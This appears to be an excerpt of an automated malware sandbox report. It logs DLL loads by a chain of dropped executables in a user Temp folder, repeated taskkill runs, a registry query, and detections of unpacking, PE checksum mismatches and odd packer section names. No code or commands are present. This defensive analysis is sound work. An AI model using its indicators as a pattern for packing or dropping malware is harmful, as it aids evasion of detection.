Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2949632 > 1048576

Source: file.exe

Static PE information: Raw size of czpsekko is bigger than: 0x100000 < 0x2a6c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Unpacked PE file: 3.2.ST44OD0PMG8MCMYJRN4.exe.130000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wehliqok:EW;xquxcvvg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wehliqok:EW;xquxcvvg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Unpacked PE file: 4.2.9NWW1UIUAOJA8NFOZHWEDA.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.790000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wehliqok:EW;xquxcvvg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wehliqok:EW;xquxcvvg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Unpacked PE file: 6.2.M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.a90000.0.unpack :EW;.rsrc:W;.idata :W;pnhiajhq:EW;lwmvjhen:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Unpacked PE file: 11.2.26e226f915.exe.830000.0.unpack :EW;.rsrc :W;.idata :W;czpsekko:EW;spvyrroo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;czpsekko:EW;spvyrroo:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Unpacked PE file: 12.2.ef2532c0b1.exe.40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Unpacked PE file: 33.2.ef2532c0b1.exe.40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;letztgfz:EW;rrfcshya:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: real checksum: 0x1ce631 should be: 0x1cb159
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: real checksum: 0x1c56a1 should be: 0x1cad2c
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: real checksum: 0x1ce631 should be: 0x1cb159
Source: random[1].exe.9.dr	Static PE information: real checksum: 0x2d063f should be: 0x2d27d6
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: real checksum: 0x1ce631 should be: 0x1cb159
Source: num.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: ef2532c0b1.exe.9.dr	Static PE information: real checksum: 0x1c56a1 should be: 0x1cad2c
Source: random[1].exe0.9.dr	Static PE information: real checksum: 0x1c56a1 should be: 0x1cad2c
Source: file.exe	Static PE information: real checksum: 0x2d063f should be: 0x2d27d6
Source: 26e226f915.exe.9.dr	Static PE information: real checksum: 0x2d063f should be: 0x2d27d6
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1ce631 should be: 0x1cb159
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: real checksum: 0x2c1234 should be: 0x2bb468
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: real checksum: 0x1c56a1 should be: 0x1cad2c
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: real checksum: 0x2c1234 should be: 0x2bb468
Source: num[1].exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: czpsekko
Source: file.exe	Static PE information: section name: spvyrroo
Source: file.exe	Static PE information: section name: .taggant
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name:
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: .idata
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name:
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: wehliqok
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: xquxcvvg
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: .taggant
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name:
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: .rsrc
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: .idata
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name:
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: letztgfz
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: rrfcshya
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: .taggant
